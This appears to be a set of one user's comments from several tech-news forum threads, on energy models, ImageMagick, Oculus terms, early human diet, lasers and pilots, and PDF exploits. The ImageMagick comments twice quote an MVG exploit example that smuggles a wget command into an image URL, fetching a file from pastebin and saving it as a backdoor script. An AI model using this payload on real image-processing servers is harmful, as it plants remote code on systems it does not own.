Ok Mr smartypants, how would you come up with an informed energy policy without running models for different hypothetical future energy usage patterns?
Because, the trend remained unchanged in their minds. Modeling and fortune telling are more art and religion than actual science.
Um, no, the study isn't predicting that fossil fuel usage will go unchanged, it's predicting what will happen IF fossil fuel usage goes unchanged. That's a very important difference.
That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.
From what I gathered you can put embed code into SVG/MVG files, because it lets those formats specify embedded images by default and doesn't sanity check the URL.
They give an MVG example for the exploit: image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O/home/vhosts/file/backdoor.pl")'
Reading through the various linked articles it looks like the issue is that ImageMagick supports formats like SVG and MVG that allow for embedded images (and enables embedded images by default), but doesn't sanity check those filenames and instead can execute them as batch scripts.
The example given is for a.mvg file:
image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O/home/vhosts/file/backdoor.pl")'
Yeah, I don't think that Swastika Trump logo flag is pro-Trump, looks more like 4chan messing around. No doubt next it'll be invaded by flying penises and afroguys chanting "Pool's closed due to AIDS".
So, we currently we can only skip ads after 5 seconds, and now they're adding unskippable 6 second ads. Why make a thing of it, 6 second ads would already be basically unskippable anyway!
Actually if they dump those unskippable 30 second ads and replace them with 6 second ads that would be an improvement, I really don't want to have to sit through another fucking 30 second ad for Haribo that I saw just a few minutes ago!
The Oculus TOS is referring to using the Oculus' online services, not using the Oculus on its own. How does "posting user content on an online service viewed through VR goggles" differ legally from "posting user content on an online service viewed on a 2D monitor"?
Granting themselves a perpetual licence seems to make them more open to legal trouble, not less.
Want to guess who else has similar clauses in their TOS?

Chimpanzee's habit was an entire Continent away from H. erectus
Huh? Homo Erectus finds very much overlap with even the modern Chimpanzee ranges in Africa you linked to, and it's not hard to imagine that Chimpanzees' range extended much further 2 million years ago than it does today.
Chimpanzee's are a different time line than humans
They covered that already - they're talking about our ancestors, who had chimp-like jaws: "all made possible by the same type of big teeth and large jaws our early ancestors had."
So what do the modern apes—and in particular our closest relatives the chimpanzees and bonobos—eat? Plants.
Again, already covered - "A new study credits the advent of simple stone tools to slice meat and pound root vegetables"
Oh well as long as it's only a possibility then there's nothing to worry about and we should all just move along, nothing to see here...
You know, there's a possibility that the browser you used to post that comment itself has a remote code execution exploit, and there's a possibility that your OS has a privilege escalation exploit. That means there's a possibility that by simply viewing a website your whole computer could be taken over by a hacker!
Anyway from TFA WinRT uses exploit mitigation features so there shouldn't be any more risk than if the PDF reader was simply built into the browser (i.e. there's still plenty of risk as is true for all large applications)
"He says that because Windows 10 implemented former EMET features such as ASLR protection and Control Flow Guard, "makes the development of exploits for WinRT PDF vulnerabilities time-consuming and therefore costly for an attacker."
I hope for their sake they block results from Wikipedia, have you seen the sexual deprivation and, gasp, child pornography on that encyclopaedia of filth, won't somebody please think of the children!
What if you went the other way though? Should we be worried about the government ban on buying and owning bombs? When bombs are illegal only criminals have bombs..?
The article is about a crybaby pilot who was annoyed and turned around to stop and pout
As I said to jedidiah, here's a class 4 hand-held laser that you can import into the UK. According to wikipedia, a class 4 laser "can burn the skin, or cause devastating and permanent eye damage as a result of direct, diffuse or indirect beam viewing".
Would you like to volunteer to have one fired at you to prove what crybabies UK pilots are?
So pilots in the UK wetting themselves over lasers doesn't impress me so much.

Fortunately plants are a cheap way to combat global warming, they simply absorb more CO2 to grow bigger!
Of course, since the greenhouse gasses are still building up, it takes more and more plant growth to keep up...
Thus solving the problem once and for all! ...
ONCE AND FOR ALL!!!
Yeah it's a pretty hefty box, but the Vive (as it comes with more parts to support room scale VR) is even bigger
Hey, I'm happy to receive my Oculus a few weeks late in exchange for the free shipping they've offered delayed orders.

Who is dumb enough to do banking on something so insecure as a desktop browser? It's a seive.

look how ugly and crooked human teeth (without orthodontics) are compared to the rest of the animal kingdom.
Actually pre-agricultural peoples had very good teeth, our recent change in diet has just happened to quickly for evolution to compensate.
To be fair I think the idea here is that you're eavesdropping on something that isn't available to buy in shops...
Wait until you find out that exploits can be triggered by fonts, images, and even HTML tags.

Pretty much any laser will damage vision. Of course that is irrelevant in this case as even a disruption to vison may cause a crash and lost lives.
Are you sure about that? Class 1 lasers are supposed to be weak enough to never cause eye damage.
Clearly what we need is more good guys with laser pointers to stop the bad guys with laser pointers :)
